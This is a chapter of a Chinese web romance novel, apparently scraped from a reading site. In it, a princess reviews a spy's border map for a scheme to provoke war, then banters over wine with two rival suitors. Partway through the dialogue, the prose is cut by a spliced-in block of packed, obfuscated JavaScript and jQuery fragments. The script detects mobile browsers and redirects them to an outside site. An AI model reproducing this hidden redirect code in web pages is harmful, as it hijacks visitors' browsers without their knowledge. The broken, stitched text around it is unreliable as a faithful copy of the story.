47. 殿下,这是在....勾引微臣?

作品:《恶女始乱终弃后

    “好了,待会儿有的是时间给你们兄妹叙话”


    宋幼宁指尖轻叩轿檐,轿辇旁的灯油光照在她的脸,使她神情更加肃穆,她淡淡开口:“九霄,先说正事!”


    少年闻言立即松开春桃,单膝砸在地上抱拳,那些北境装饰的银铃铛丁当作响:“禀殿下,”


    他声音压得极低,喉间尚带着未褪尽的戎人口音,“这几个月来,属下带着十二个兄弟混进北境巡边营,专挑夜深人静之时夜袭乾国营寨。”


    他目光炯炯,带着未褪的少年侠意:“属下按照殿下的吩咐,伪装成戎人,偷偷焚烧大乾的草料,逃窜时,故意留的戎部的兵器......”


    “戎人一向自傲,也常常出兵挑衅,因此,镇北王也未怀疑是有人假扮戎人,只觉得是北境愈发猖狂了些。”


    “而北国边军那边,也因雪松林偏远,又散布着大量的沼泽地,很少来此巡视,他们也未发现我们盘踞在此”


    “如今乾国的驻防军都认为是北境故意扰乱乾国边防,而北境也定然不会想到是殿下主动引起二国之争”。


    他突然从皮袄夹层抽出一卷硝制过的羊皮纸,“属下在雪松林呆了数年,这是属下绘制的,三国布防图,三国的边防地皆在此,轻殿下过目。”


    春桃从九霄手里接过,眉头如同挂了锁,忧心地望着自家哥哥,但仍将羊皮纸从他手中接过,递给轿中的宋幼宁。


    前些年哥哥本是殿前侍卫,但突然被殿下外派,说有大事要他去办。


    却没曾想,他们兄妹二人竟再为见过,虽一直有书信往来,但自家哥哥从来都不透露他在哪,谁曾想他竟一直在大乾边境。


    春桃听到二人对话仍大吃一惊,她知道殿下一直在暗中谋划些什么,但竟从来都不知,她竟是试图想挑起二国的对立。


    宋幼宁看着手中如此详细的羊皮纸,甚至精确到三国边防处的到每条小道,忽然轻笑出声。


    她抚过羊皮上那些朱砂标记,像在点数棋盘上的活子:“干的好!就连雪松林的哨兵都标全了,这下本宫对雪松林可是势在必得!”


    “殿下......”


    春桃绞着帕子的手指节发白,唇瓣颤了几颤才挤出声音:“殿下,婢子......”


    话到舌尖转了三转,终究咽下半截,可那双眼却藏不住事,分明忧色。


    纵然殿下救了她们兄妹二人的命,她也不愿意自己的哥哥去当挑起三国战事的罪魁祸首。


    宋幼宁忽然笑出声,她自然知道这丫头在担心什么,指尖往九霄方向虚点:“傻丫头,你以为本宫是什么罪大恶极之人吗?见不得三国中人好过?”


    她折了折手中的羊皮卷,放入袖中:“放心吧!本宫心里有数,你这丫头不用担心......”。


    “本宫乏了......”说完,她揉了揉脑仁,故作疲态。


    见她乏了,春桃下意识便要上前服侍,宋幼宁如猜到她心思一般,拂了拂手,淡淡开口:“本宫休息会,你们兄妹二人好好聊聊,这期间不要来打扰本宫休息!”


    轿内熏香袅袅,她故意将身子偏了过去,好让那对兄妹再多说会体己话。


    春桃会意,看了看九霄,点了点头,又轻柔的走到轿前,悄悄将暖帘又放下半幅。


    轿中眼睛轻闭的宋幼宁,不知为何,脑子里突然浮现她和萧临驻守边关的那段日子。


    当初她男扮女装,被北国暗探所掳,萧临一个人拄着断剑,单枪匹马的杀进了北国营帐,浑身白袍被鲜血浸湿,胸口处甚至还插了三支羽箭。


    若不是穿了她送的金丝软甲......只怕自己得去地狱见他。


    他举着断剑对着北国将军吼道:“你敢动她一根汗毛,我大乾铁骑便屠尽你北境三州!”


    染血的牙关声音嘶哑:“从刚出生的幼婴到百岁老妪,必教你们北国人知道什么叫寸草不生!”


    她看到一向对百姓宽柔相待的萧临,第一次展现出了嗜血的一面,如果不是别无他法,她定不会拿战事作赌。


    可她不想为人鱼肉,她宁愿做那个先落刀的人,若是能换来大乾永久的安定,她不介意自己担这个恶名。


    宋幼宁忽然别过脸去。手中的半截虎符硌在掌心,那点微疼恰好能压住喉间莫名的涩意,终究还是辜负了萧临的一身忠肝义胆。


    等到宋幼宁回到大军时,已是夜里,大乾边境的夜空繁星点点,四周缀着隐隐的蝉鸣,篝火烟雾袅绕。


    宋幼宁下了轿,往营帐去,刚要撩开自己的营帐,守营的小厮对她挤眉弄眼,像是再提醒她什么。


    宋幼宁撩帘子的动作忽然停滞,她扫视四周一圈,终于在一处烟雾缭绕的篝火旁,发现了一个熟悉的人影。


    景文正朝着她,向她行了个礼,营帐的帘子大敞,那地方正属于黎扶宁的营帐。


    望帐帘里看去,还能隐隐约约能瞧见黎扶宁斜靠在塌上看书,皎皎的月光映射下,愈发衬地他如谪仙降临。


    她笑了笑,自然懂了这骚包的男人什么意思,提步就要往黎扶宁营帐去。


    刚转过身,手腕忽地被一只手猛地拽住,她顺势回头。


    萧临正从自己的营帐内出来,一只健硕的手臂牢牢锢住她纤细的手腕,她眸子忽闪:“萧临?”


    “你怎么从本宫帐子出来了?”


    她下意识的往另一侧帐子望去,直到看到那旗幡上写着大大地“萧”字,她才万般确定,她没有走错。


    眼神更加不解,直勾勾地盯着眼前的男人。


    话说这营帐的分布,她真的是百思不得其解,她甚至都怀疑这两个人是不是买通了布帐的官员。


    怎么就众多的营帐中,偏偏将他们三分到了一处,她还正碰巧卡在黎扶宁和萧临中间。


    “殿下,要去哪?”萧临挑眉问道。


    “本宫......本宫看看月亮,今天这月亮真圆......萧临觉得呢?”,宋幼宁故作姿态,抬头看了看空中的月亮,余光不经意地瞥了一下黎扶宁的帐子。


    此刻黎扶宁的塌上哪还有人,软榻上只剩下了一本残书,孤零零地就这么放在案头。


    萧临顺着宋幼宁的视线望去,发现视线聚焦处竟然是黎扶宁的营帐,语气愈发吃味:“殿下,如今到了边防地,还只想着黎大人吗?”


    “难道殿下忘了......臣为救殿下,差点命丧敌国之事吗?殿下心里是不是就没有过我们......”


    本就童真无辜的眼睛,此时如浸了水的葡萄,委屈不已。


    还在思考的宋幼宁,看到那双委屈巴巴的眸子,一下子就慌了神,急忙找补;“怎么会,本宫就是......”


    “就是......就是想着与黎大人商议......”


    “商议如何伪装成猎户,靠近北境边防一事!本宫心里定是有萧临在的!”


    宋幼宁急的额前细汗直流,胡言乱语,也顾不得上思考,话赶话,接了上去。


    心里挣扎万分,现在可不是告诉萧临的真相好时候,若是告诉萧临自己这次凯旋便与黎扶宁回京成亲……


    自己先前谋划定得前功尽弃,但他是她最好的朋友......她也不想骗他。


    “本世子知道,殿下心里还是有臣的!”


    萧临听完心里顿时也不气了,原先湿漉漉的眼眶,像变戏法般收了回去。


    锢住宋幼宁手腕的大手顺着纤细的腕骨,滑到了她的手背,将她白皙的手牢牢撰紧,又恢复了先前没心没肺的模样:“本世子就知道,殿下心里定是有臣的!”


    “是啊!殿下心怀天下,也不知道殿下这天下里,可有微臣的一席之地?”


    宋幼宁正欲与萧临解释,忽听身后传来一阵揶揄。


    黎扶宁一袭月白外袍,手里把着一把折扇,唇角微扬,眼底却毫无笑意。


    他语气温润,字字清晰,却莫名让她胆寒,像是浸了雪的美玉,冷的让人发颤。


    坏了,一个没解决完,又来一个......到底是哪个杀千刀的,把这两人跟她安排在一块,她定要追杀他到天涯海角。


    宋幼宁扯了扯嘴角,皮笑肉不笑:“黎大人,这么晚出来,是有什么事找本宫吗?”


    黎扶宁轻笑,将自己身上的外袍脱了下来,替她掩上:“倒也无事,不过是本宫在营帐内等的有点乏了,出来转转......”


    宋幼宁脑海里忽然回忆起来方才黎扶宁谪仙般的姿势,和帘子大敞的营帐,黎扶宁果真是在等她。


    萧临皱眉,不解道:“黎大人这月黑风高的,在等人?”


    黎扶宁嘴角咧了咧,余光瞥向萧临拉着宋幼宁的那只手:“是啊!在等......”


    话音未落,宋幼宁赶紧将萧临的手甩开,趁着二人还未反应过来,挽上二人的胳膊,将二人往自己帐子里带:“这外面月黑风高的,不如进帐再说?”


    “本宫让春桃备了些边境特色小菜,既然你们两个不忙,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16033395|175793||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不如与本宫一同尝尝?”


    “殿下......今日......”黎扶宁本想再抱怨几句,突然只觉得腰间攀上了一只小手,手心如游蛇般在他腰间摩挲。


    “颇有......”


    话音未落,腰间的小手突然猛地往他腰间软肉掐去,威胁他不要乱说话,虽然没使多大劲儿,但也够黎扶宁喝一壶的了,白皙滑嫩的肌肤上立刻红肿一片。


    毕竟宋幼宁这个混世魔王,是自小就跟着萧临这个武将身边一起东奔西跑、舞枪弄棒的。


    “颇有......兴......致!”黎扶宁支支吾吾道,腰间那处红潮之处,疼痛感一阵一阵传来。


    “风干牛肉、芝麻烤馕、凤梨酥、还有本宫从宫里带来的葡萄佳酿!”宋幼宁松开二人,爬上了榻,盘坐在软垫上,兴致勃勃的向二人介绍自己的夜宵。


    她拿起一片烤至焦灼的肉干,撕成三片,一片放入自己碗中,又将另外两片放在二人碗中:“这是本宫今日特意去三国边防处的交界集市上,从戎人商贩中购得的,你们二人尝尝?”


    她撕开一小片,放入自己嘴中,比起以往烹熟的牛肉菜品,这种带着熏烤而成的肉类反而别有一番风味,筋道又带着肉香。


    萧临也不跟她客气,拿起肉就望嘴里塞,嘴里鼓鼓囊囊道:“果然还是北境用苹果枝烤的肉干香......”很快一片肉干就见了底。


    只有黎扶宁呆坐在原地,看着二人大快朵颐,也不说话,就这么静静地看着银碟里的食物。


    他自幼便长在江南,而后又跟着父亲去了汴京,哪见过这种生扒硬啃的食物,一向温润的眉头紧锁。


    帐内炭火噼啪,黎扶宁看着眼前黑褐色的肉干,指尖悬于粗粝的肉干上方,无从下手。


    沉默良久才缓缓开口:“殿下,微臣不是很饿,微臣这片留给殿下吧......”


    宋幼宁虽一直都在咀嚼,但余光一直未从他身上离开,见他迟迟未动手,眉间皱的厉害。


    她拍了拍手,忽然伸手抽出他碗里的肉干:“本宫吃饱了,黎大人常年在京城哪会撕这个......本宫来吧!”


    宋幼宁将那肉干一条条替他撕好,整整齐齐地替他在银碟上摆好,然后将碟子推了过去,顺带附上一碟蜜色酱料,还耐心的嘱咐:“黎大人,用这个蘸蛋黄酱。”


    黎扶宁望着突然变得精致的肉丝,喉结微动,眼角薄红愈发鲜红:“殿下...”


    “怎么?”


    宋幼宁忽然抬眸看他,看到他那潮红的耳尖,忍不禁的想要逗他:“难不成,黎大人要本宫喂?”


    黎扶宁耳尖薄红更甚,表面仍是一片云淡风清,抿了口葡萄酿,鲜艳的葡萄酿将他的唇瓣染得更加饱满多汁,他施施然道:“自然不是...臣自己来...”


    萧临低头看了看自己手中那啃得乱起八糟的肉干,身体顿了顿,将自己的情绪酝酿了一番,委屈道:“殿下......”


    宋幼宁眉毛一横,从他手中将他手中的抽了过来,径直甩出帐外:“不吃,就给本宫拿去喂狗......”


    萧临:......


    萧临瞬间破防,眼睛红肿,指尖对着黎扶宁,口齿不清:“你......我......他!”


    “殿下,您偏心......”


    黎扶宁扫了萧临一眼,嘴角噙笑,自顾自的品起了杯中的葡萄酒:“殿下带来的葡萄佳酿,倒是难得一见,与这烤的焦脆的肉干倒是相得益彰,恰到好处......”


    三人酒宴过后,萧临因为觉得宋幼宁偏心,心情不快,便多饮了几杯,直接醉晕塌上,宋幼宁遣人将他送了回去。


    帐中灯火通明,至于宋幼宁和黎扶宁两人。


    虽未向萧临喝的那般多,葡萄酒本身的浓度也不高,但二人仍混身酒气,空气中弥漫着葡萄酒甜腻、旖旎的酒香。


    塌上的二人四目相对,宋幼宁只感觉自己浑身燥热,她不经意的扯了扯脖子间的衣领,露出一小截滚烫、灼烧的脖颈。


    黎扶宁喉结滚动,又一杯葡萄酒下肚。


    杯盏交错见,露出一双如野兽般双目猩红的招子,正在赤裸裸地盯着床榻上休憩的宋幼宁,仿佛随时随地就要发起进攻。


    黎扶宁缓缓抬起双眸,睫毛在营帐的灯光下颤动,唇瓣轻启:“殿下......”


    “......这是在勾引....臣吗?”,声音带着被酒气灼烧过的嘶哑。